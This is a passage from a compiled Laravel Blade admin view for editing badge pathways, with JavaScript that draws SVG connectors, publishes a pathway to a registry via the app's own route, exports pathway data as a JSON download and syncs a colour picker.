const d = `M ${startX} ${startY} C ${startX} ${cp1Y}, ${endX} ${cp2Y}, ${endX} ${endY}`;
path.setAttribute('d', d);
svg.appendChild(path);
// Add upward arrow at the end of each path if sequential
if (isSequential) {
const arrow = document.createElementNS('http://www.w3.org/2000/svg', 'polygon');
// Triangle pointing UP: apex at top, base at bottom
const arrowSize = 8;
const arrowX = endX;
const arrowY = endY;
// Points: left-bottom, top-center, right-bottom
arrow.setAttribute('points',
`${arrowX - arrowSize/2},${arrowY + arrowSize} ${arrowX},${arrowY} ${arrowX + arrowSize/2},${arrowY + arrowSize}`
);
arrow.classList.add('arrow-up');
svg.appendChild(arrow);
}
});
});
}
// Draw connectors on load and resize
setTimeout(drawCurvedConnectors, 50); // Small delay to ensure layout is ready
window.addEventListener('resize', drawCurvedConnectors);
// Redraw after any DOM changes that might affect layout
const observer = new MutationObserver(() => {
setTimeout(drawCurvedConnectors, 100);
});
const requiredSection = document.querySelector('.required-badges-section');
if (requiredSection) {
observer.observe(requiredSection, {
childList: true,
subtree: true
});
}
// =============================================
// Publish to OpenSkillPaths
// =============================================
document.getElementById('publishPathwayBtn')?.addEventListener('click', async function() {
const btn = this;
const originalText = btn.innerHTML;
if (!confirm('Publish this pathway to OpenSkillPaths?\n\nThe pathway will be signed via your Badgau instance and submitted to the public registry.')) {
return;
}
btn.disabled = true;
btn.innerHTML = '<span class="spinner-border spinner-border-sm me-1"></span> Publishing...';
try {
const response = await fetch(<?php echo json_encode(route('admin.badge-albums.publish', $album), 512) ?>, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json',
'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content,
},
});
const data = await response.json();
if (data.success) {
window.location.reload();
} else {
alert('Publish failed: ' + (data.error || 'Unknown error'));
btn.disabled = false;
btn.innerHTML = originalText;
}
} catch (err) {
alert('Failed to publish: ' + err.message);
} finally {
btn.disabled = false;
btn.innerHTML = originalText;
}
});
// =============================================
// Export Pathway as JSON
// =============================================
document.getElementById('exportPathwayBtn')?.addEventListener('click', function() {
// Build portable pathway JSON from current data
const pathway = {
// Schema version for future compatibility
schemaVersion: '1.0',
exportedAt: new Date().toISOString(),
exportedFrom: 'emaji',
// Pathway metadata
title: <?php echo json_encode($album->title, 15, 512) ?>,
description: <?php echo json_encode($album->description, 15, 512) ?>,
isSequential: <?php echo e($album->is_sequential ? 'true' : 'false'); ?>,
status: <?php echo json_encode($album->status, 15, 512) ?>,
// Master badge (the goal)
masterBadge: {
achievementId: <?php echo json_encode($album->master_achievement_id, 15, 512) ?>,
title: <?php echo json_encode($album->master_badge_title, 15, 512) ?>,
imageUrl: <?php echo json_encode($album->image_path, 15, 512) ?>,
},
// Sections with badges
sections: [
<?php $__currentLoopData = $album->sections; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $section): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
{
position: <?php echo e($section->position); ?>,
ruleType: <?php echo json_encode($section->rule_type, 15, 512) ?>,
ruleCount: <?php echo e($section->rule_count ?? 'null'); ?>,
badges: [
<?php $__currentLoopData = $section->slots; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $slot): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
{
achievementId: <?php echo json_encode($slot->achievement_id, 15, 512) ?>,
title: <?php echo json_encode($slot->title, 15, 512) ?>,
description: <?php echo json_encode($slot->description, 15, 512) ?>,
imageUrl: <?php echo json_encode($slot->image_url, 15, 512) ?>,
issuer: {
url: <?php echo json_encode($slot->issuer_url, 15, 512) ?>,
did: <?php echo json_encode($slot->issuer_did, 15, 512) ?>,
name: <?php echo json_encode($slot->issuer_name, 15, 512) ?>,
},
isOptional: <?php echo e($slot->is_optional ? 'true' : 'false'); ?>,
position: <?php echo e($slot->position); ?>,
},
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
],
},
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
],
};
// Create downloadable JSON file
const jsonStr = JSON.stringify(pathway, null, 2);
const blob = new Blob([jsonStr], { type: 'application/json' });
const url = URL.createObjectURL(blob);
// Create filename from title
const filename = pathway.title
.toLowerCase()
.replace(/[^a-z0-9]+/g, '-')
.replace(/^-|-$/g, '')
+ '-pathway.json';
// Trigger download
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
});
// Sync colour picker ↔ text input (pathway-level override)
const colorPicker = document.getElementById('brand_color_album');
const colorText = document.getElementById('brand_color_album_text');
if (colorPicker && colorText) {
colorPicker.addEventListener('input', () => colorText.value = colorPicker.value);
colorText.addEventListener('input', () => {
if (/^#[0-9a-fA-F]{6}$/.test(colorText.value)) colorPicker.value = colorText.value;
});
}
});
</script>
<?php $__env->stopPush(); ?>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/admin/badge-albums/edit.blade.php ENDPATH**/ ?>